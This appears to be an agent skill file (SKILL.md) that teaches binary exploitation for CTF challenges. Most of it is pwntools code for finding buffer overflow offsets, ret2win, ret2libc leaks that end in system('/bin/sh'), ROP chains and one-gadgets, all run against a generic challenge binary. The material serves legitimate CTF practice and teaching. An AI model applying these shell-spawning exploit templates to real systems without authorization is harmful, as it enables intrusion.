pwn-exploits

SKILL.md

Binary Exploitation Patterns

When to Use

Load this skill when:

  • Solving binary exploitation (pwn) CTF challenges
  • Working with buffer overflows and stack-based vulnerabilities
  • Building ROP (Return-Oriented Programming) chains
  • Writing shellcode or exploits
  • Using pwntools for exploitation
  • Analyzing binaries with GDB, checksec, or strings

Binary Analysis Workflow

Step 1: Static Analysis First

Always begin with static analysis before dynamic exploitation.

# Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"

# Check binary protections
checksec ./vuln

# Examine file type and architecture
file ./vuln

Why? Static analysis reveals:

  • Hidden functionality and backdoor functions
  • Hardcoded credentials or flags
  • Security mitigations (PIE, NX, Stack Canary, RELRO)
  • Architecture (32-bit vs 64-bit, calling conventions)

Step 2: Decompile with Ghidra/IDA

# Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c

# Or use Python wrapper (legacy)
python tools/decompile.py ./vuln

# Or manually open in Ghidra GUI
ghidra

Key things to look for:

  • Dangerous functions: gets(), strcpy(), scanf(), read() with no bounds
  • Win functions: system("/bin/sh"), execve(), print_flag()
  • Buffer sizes vs input sizes
  • Comparison operations (password checks, admin checks)

Protection Analysis Table

Protection Status Exploitation Strategy
PIE Enabled Need address leak for code/data addresses
PIE Disabled Can use hardcoded addresses directly
NX Enabled Cannot execute shellcode on stack, use ROP
NX Disabled Can write shellcode to buffer and execute
Stack Canary Enabled Need canary leak or bypass technique
Stack Canary Disabled Direct buffer overflow exploitation
RELRO Full Enabled Cannot overwrite GOT entries
RELRO Partial Enabled Can overwrite GOT for hijacking

Exploitation Patterns

Pattern 1: Find Buffer Overflow Offset

from pwn import *

# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()

# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4))  # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4))  # x86

log.info(f"Offset: {offset}")

Alternative: Manual offset finding

# Use offset_finder.py from tools/
# python tools/offset_finder.py ./vuln

Pattern 2: Basic ret2win (Call Win Function)

from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"

# Find win function address
win_addr = elf.symbols['win']  # or elf.symbols['print_flag']

# Build payload
payload = flat({
    offset: [
        win_addr
    ]
})

io = process(exe)
io.sendline(payload)
io.interactive()

Pattern 3: ret2libc (Leak + System)

Stage 1: Leak libc address

from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6")  # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)

# Build ROP chain to leak puts@GOT
payload = flat({
    offset: [
        rop.find_gadget(['pop rdi', 'ret'])[0],
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']  # Return to main for second exploit
    ]
})

io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")

# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")

Stage 2: Call system("/bin/sh")

# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))

# Build final ROP chain
payload2 = flat({
    offset: [
        rop.find_gadget(['ret'])[0],  # Stack alignment (required for movaps)
        rop.find_gadget(['pop rdi', 'ret'])[0],
        bin_sh,
        libc.symbols['system']
    ]
})

io.sendline(payload2)
io.interactive()

Pattern 4: Auto-Switch Start Function

Use this template for all pwn scripts:

from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    """Start the exploit in different modes"""
    if args.GDB:
        gdbscript = """
        b *main
        continue
        """
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Usage:
# python solve.py              # Local process
# python solve.py GDB          # Debug with GDB
# python solve.py REMOTE IP PORT  # Remote connection

Pattern 5: ROP Chain Construction

from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')

# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = flat({
    offset: [
        ret,              # Stack alignment
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})

Quick Reference

Pwntools Essential Commands

Task Command
Generate cyclic pattern cyclic(500)
Find offset from crash cyclic_find(b'caaa') or cyclic_find(0x61616161)
Pack 64-bit integer p64(0x401000)
Pack 32-bit integer p32(0x08048000)
Unpack 64-bit bytes u64(data.ljust(8, b'\x00'))
Unpack 32-bit bytes u32(data.ljust(4, b'\x00'))
Launch with GDB gdb.debug([exe], gdbscript=script)
Connect remote remote(host, port)
Local process process([exe])
Build structured payload flat({offset: [gadget1, gadget2]})
Find ROP gadgets rop.find_gadget(['pop rdi', 'ret'])
Search bytes in binary next(elf.search(b'/bin/sh'))

Common ROP Gadgets (x86_64)

# System call setup
pop_rdi = 0x400123  # pop rdi; ret (1st argument)
pop_rsi = 0x400456  # pop rsi; ret (2nd argument)
pop_rdx = 0x400789  # pop rdx; ret (3rd argument)
pop_rax = 0x400abc  # pop rax; ret (syscall number)

# Stack alignment (REQUIRED for recent libc)
ret = 0x400001      # ret

# Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system']  # or libc.symbols['system']

GDB Essential Commands

# Pwndbg commands
checksec                    # Check binary protections
vmmap                       # Memory mapping
telescope $rsp 20           # Stack view
cyclic 200                  # Generate pattern
cyclic -l 0x61616161       # Find offset
rop                         # Search ROP gadgets
rop --grep "pop rdi"       # Filter gadgets
got                         # GOT entries
plt                         # PLT entries

# Standard GDB
b *main                     # Breakpoint at address
b *0x401234
x/20gx $rsp                # Examine stack (64-bit)
x/20wx $esp                # Examine stack (32-bit)
x/20i $rip                 # Disassemble
info registers              # Register values
set $rax = 0               # Modify register

CTF-Specific Tips

Extract Flags Automatically

import re

def extract_flag(data):
    """Extract common CTF flag formats"""
    patterns = [
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}',
        r'CTF\{[^}]+\}',
        r'picoCTF\{[^}]+\}',
        r'HTB\{[^}]+\}',
        r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
    ]
    
    text = data if isinstance(data, str) else data.decode('latin-1')
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            return match.group(0)
    return None

# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
    log.success(f"Flag: {flag}")

One-Gadget Usage

# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6

# Use in exploit
one_gadget = libc.address + 0x4f3d5  # Offset from one_gadget output
payload = flat({offset: one_gadget})

Anti-Patterns (Avoid These)

❌ Don't: Skip Static Analysis

# BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72  # Guessed
payload = b'A' * offset + p64(0xdeadbeef)

Why it's bad: You might miss:

  • Easier solutions (hardcoded flags, win functions)
  • Critical constraints (length checks, character filters)
  • Security mitigations that require different approaches

❌ Don't: Hardcode Addresses with PIE/ASLR

# BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290  # This won't work with ASLR

# GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']

❌ Don't: Forget Stack Alignment

# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})

# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})

❌ Don't: Ignore Error Messages

# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()

# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
    log.error("Exploit failed, check payload")
    exit(1)
io.interactive()

Bundled Resources

Templates

All templates use the auto-switch start function for easy testing:

  • templates/pwn_basic.py - Basic buffer overflow template
  • templates/pwn_rop.py - ROP chain + ret2libc template
  • templates/angr_template.py - Symbolic execution with angr

Tools

Helper scripts for common tasks:

  • tools/checksec_quick.sh - Quick security check wrapper
  • tools/offset_finder.py - Automated offset calculation
  • tools/leak_parser.py - Parse and format address leaks
  • tools/libc_lookup.py - Identify libc version from leaks
  • tools/rop_chain_skeleton.py - Generate ROP chain templates
  • tools/patch_ld_preload.sh - Patch binary to use specific libc

Ghidra Headless Decompilation

  • ghidra_headless/ - Automated decompilation without GUI
  • ghidra_headless/decompile_headless.sh - Wrapper script for batch decompilation
  • ghidra_headless/DecompileCLI.java - Ghidra Java script for headless operation
  • ghidra_headless/README.md - Detailed usage and troubleshooting guide

Gadget Finders

  • gadgets/find_gadgets_ropgadget.sh - ROPgadget wrapper
  • gadgets/find_gadgets_ropper.sh - Ropper wrapper
  • gadgets/find_gadgets_rpplus.sh - rp++ wrapper
  • gadgets/one_gadget_notes.md - One-gadget usage guide

Quick References

  • references/quickref_gadgets.md - Common ROP gadgets reference
  • references/quickref_gdb.md - GDB command cheatsheet
  • references/gdb_cheatsheet.md - Detailed GDB guide
  • references/ret2libc_checklist.md - Step-by-step ret2libc guide
  • references/usage_guide.md - Tool usage instructions

GDB Configuration

  • gdb_init/ - GDB initialization scripts for pwndbg, GEF, peda

Keywords

pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development

Weekly Installs
10
GitHub Stars
4
First Seen
Feb 9, 2026
Installed on
gemini-cli10
github-copilot10
codex10
kimi-cli10
amp10
cursor10